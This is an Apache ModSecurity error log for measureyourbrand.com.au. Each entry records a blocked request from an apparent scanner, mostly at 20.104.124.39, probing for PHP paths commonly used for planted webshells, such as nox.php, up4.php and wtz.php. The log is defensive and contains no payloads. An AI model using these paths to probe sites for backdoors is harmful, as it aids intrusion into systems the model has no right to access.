[Fri Feb 27 02:17:07.300675 2026] [:error] [pid 19020:tid 19025] [client 20.104.124.39:45068] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaCOI7N3kp7wL6QzPnU7PgAAAUM"]
[Fri Feb 27 02:17:08.970776 2026] [:error] [pid 18843:tid 18941] [client 20.104.124.39:45055] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaCOJCuD2bhSYSowPs0O6wAAAQE"]
[Fri Feb 27 02:17:10.774151 2026] [:error] [pid 18831:tid 18935] [client 20.104.124.39:45132] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaCOJv5KHTHUIuWRG2bXrAAAAFY"]
[Fri Feb 27 02:17:12.117514 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45150] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaCOKJZBS5wIa_NsqsgtmwAAAcs"]
[Fri Feb 27 02:17:12.924229 2026] [:error] [pid 20059:tid 20125] [client 20.104.124.39:45093] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaCOKJZBS5wIa_NsqsgtnQAAAdc"]
[Fri Feb 27 02:17:14.425490 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:44976] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaCOKpZBS5wIa_NsqsgtpAAAAdA"]
[Fri Feb 27 02:17:15.248548 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:44977] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaCOK5ZBS5wIa_NsqsgtqAAAAcs"]
[Fri Feb 27 02:17:16.141447 2026] [:error] [pid 18831:tid 18915] [client 20.104.124.39:44867] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaCOLP5KHTHUIuWRG2bXugAAAEI"]
[Fri Feb 27 02:17:17.032075 2026] [:error] [pid 18843:tid 18942] [client 20.104.124.39:45121] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaCOLSuD2bhSYSowPs0O7wAAAQI"]
[Fri Feb 27 02:17:18.879459 2026] [:error] [pid 19020:tid 19038] [client 20.104.124.39:44985] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaCOLrN3kp7wL6QzPnU7VAAAAVA"]
[Fri Feb 27 02:17:19.593565 2026] [:error] [pid 18843:tid 18961] [client 20.104.124.39:45061] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaCOLyuD2bhSYSowPs0O8gAAARU"]
[Fri Feb 27 02:17:20.125110 2026] [:error] [pid 20059:tid 20105] [client 20.104.124.39:44906] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaCOMJZBS5wIa_NsqsgttQAAAcM"]
[Fri Feb 27 02:17:20.902405 2026] [:error] [pid 18831:tid 18925] [client 20.104.124.39:44871] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaCOMP5KHTHUIuWRG2bXvAAAAEw"]
[Fri Feb 27 02:17:21.796969 2026] [:error] [pid 18831:tid 18932] [client 20.104.124.39:44866] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaCOMf5KHTHUIuWRG2bXwAAAAFM"]
[Fri Feb 27 02:17:22.473983 2026] [:error] [pid 18818:tid 18888] [client 20.104.124.39:44808] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaCOMhhPgqk2SeS_W83NNgAAAAQ"]
[Fri Feb 27 02:17:23.279471 2026] [:error] [pid 20059:tid 20106] [client 20.104.124.39:45162] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaCOM5ZBS5wIa_NsqsgtvAAAAcQ"]
[Fri Feb 27 02:17:24.222828 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:45113] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaCONLN3kp7wL6QzPnU7WAAAAVM"]
[Fri Feb 27 02:17:25.382966 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:44999] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaCONZZBS5wIa_NsqsgtwAAAAcY"]
[Fri Feb 27 02:17:26.802614 2026] [:error] [pid 18818:tid 18906] [client 20.104.124.39:44939] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aaCONhhPgqk2SeS_W83NOQAAABY"]
[Fri Feb 27 02:17:27.749882 2026] [:error] [pid 19020:tid 19040] [client 20.104.124.39:45057] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaCON7N3kp7wL6QzPnU7ZAAAAVI"]
[Fri Feb 27 02:17:28.361654 2026] [:error] [pid 20059:tid 20126] [client 20.104.124.39:45065] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaCOOJZBS5wIa_NsqsgtygAAAdg"]
[Fri Feb 27 02:17:29.134202 2026] [:error] [pid 19020:tid 19027] [client 20.104.124.39:45178] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaCOObN3kp7wL6QzPnU7cAAAAUU"]
[Fri Feb 27 02:17:30.063993 2026] [:error] [pid 20059:tid 20112] [client 20.104.124.39:44921] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aaCOOpZBS5wIa_Nsqsgt2AAAAco"]
[Fri Feb 27 02:17:31.116610 2026] [:error] [pid 20059:tid 20119] [client 20.104.124.39:45172] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaCOO5ZBS5wIa_Nsqsgt3wAAAdE"]
[Fri Feb 27 02:17:39.828853 2026] [:error] [pid 19020:tid 19032] [client 20.104.124.39:45082] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaCOQ7N3kp7wL6QzPnU7qAAAAUo"]
[Fri Feb 27 02:17:40.440720 2026] [:error] [pid 18843:tid 18964] [client 20.104.124.39:45165] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaCORCuD2bhSYSowPs0O_gAAARg"]
[Fri Feb 27 02:17:41.153645 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:45004] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaCORZZBS5wIa_Nsqsgt8QAAAdA"]
[Fri Feb 27 02:17:42.137063 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45015] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaCORpZBS5wIa_Nsqsgt8wAAAc4"]
[Fri Feb 27 02:17:43.379672 2026] [:error] [pid 18843:tid 18961] [client 20.104.124.39:44941] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaCORyuD2bhSYSowPs0PAgAAARU"]
[Fri Feb 27 02:17:44.105717 2026] [:error] [pid 19020:tid 19025] [client 20.104.124.39:45156] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaCOSLN3kp7wL6QzPnU7rgAAAUM"]
[Fri Feb 27 02:17:44.724323 2026] [:error] [pid 18831:tid 18929] [client 20.104.124.39:45149] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaCOSP5KHTHUIuWRG2bX3AAAAFA"]
[Fri Feb 27 02:17:45.533598 2026] [:error] [pid 18831:tid 18935] [client 20.104.124.39:45063] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaCOSf5KHTHUIuWRG2bX3wAAAFY"]
[Fri Feb 27 02:17:46.498313 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:44957] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaCOSpZBS5wIa_Nsqsgt-wAAAcU"]
[Fri Feb 27 02:17:47.533704 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:44903] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaCOS5ZBS5wIa_Nsqsgt_wAAAcw"]
[Fri Feb 27 02:17:48.167132 2026] [:error] [pid 18831:tid 18931] [client 20.104.124.39:45084] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaCOTP5KHTHUIuWRG2bX6QAAAFI"]
[Fri Feb 27 02:17:49.232688 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:44901] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaCOTZZBS5wIa_NsqsguAQAAAcA"]
[Fri Feb 27 02:17:50.208273 2026] [:error] [pid 18818:tid 18907] [client 20.104.124.39:45166] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaCOThhPgqk2SeS_W83NVAAAABc"]
[Fri Feb 27 02:17:51.317358 2026] [:error] [pid 20059:tid 20109] [client 20.104.124.39:45147] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaCOT5ZBS5wIa_NsqsguBgAAAcc"]
[Fri Feb 27 02:17:52.093609 2026] [:error] [pid 18831:tid 18935] [client 20.104.124.39:45090] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaCOUP5KHTHUIuWRG2bX7wAAAFY"]
[Fri Feb 27 02:17:52.778643 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45051] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaCOUJZBS5wIa_NsqsguDgAAAc4"]
[Fri Feb 27 02:17:53.514379 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45054] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaCOUZZBS5wIa_NsqsguFQAAAcs"]
[Fri Feb 27 02:17:54.611827 2026] [:error] [pid 18818:tid 18899] [client 20.43.27.35:24355] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCOUhhPgqk2SeS_W83NYgAAAA8"]
[Fri Feb 27 02:17:55.257859 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:44888] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaCOU5ZBS5wIa_NsqsguGwAAAcw"]
[Fri Feb 27 02:17:55.746656 2026] [:error] [pid 20059:tid 20118] [client 20.43.27.35:24094] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCOU5ZBS5wIa_NsqsguHAAAAdA"]
[Fri Feb 27 02:17:56.061106 2026] [:error] [pid 19020:tid 19032] [client 20.104.124.39:45069] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaCOVLN3kp7wL6QzPnU7sQAAAUo"]
[Fri Feb 27 02:17:56.945513 2026] [:error] [pid 20059:tid 20108] [client 20.43.27.35:24117] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCOVJZBS5wIa_NsqsguIgAAAcY"]
[Fri Feb 27 02:17:57.424729 2026] [:error] [pid 20059:tid 20124] [client 20.104.124.39:45058] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaCOVZZBS5wIa_NsqsguJgAAAdY"]
[Fri Feb 27 02:17:58.060589 2026] [:error] [pid 20059:tid 20126] [client 20.43.27.35:24371] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCOVpZBS5wIa_NsqsguKwAAAdg"]
[Fri Feb 27 02:17:59.463937 2026] [:error] [pid 20059:tid 20120] [client 20.104.124.39:44810] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaCOV5ZBS5wIa_NsqsguPAAAAdI"]
[Fri Feb 27 02:18:00.546583 2026] [:error] [pid 18843:tid 18944] [client 20.104.124.39:45081] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaCOWCuD2bhSYSowPs0PFgAAAQQ"]
[Fri Feb 27 02:18:02.255637 2026] [:error] [pid 20059:tid 20111] [client 20.104.124.39:45144] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaCOWpZBS5wIa_NsqsguRgAAAck"]
[Fri Feb 27 02:18:03.378592 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:44826] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaCOW5ZBS5wIa_NsqsguSwAAAcY"]
[Fri Feb 27 02:18:04.542760 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:44943] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaCOXJZBS5wIa_NsqsguWgAAAcA"]
[Fri Feb 27 02:18:06.307293 2026] [:error] [pid 20059:tid 20103] [client 20.104.124.39:44875] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaCOXpZBS5wIa_NsqsgubwAAAcE"]
[Fri Feb 27 02:18:07.545736 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:45101] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaCOX5ZBS5wIa_NsqsgufgAAAdA"]
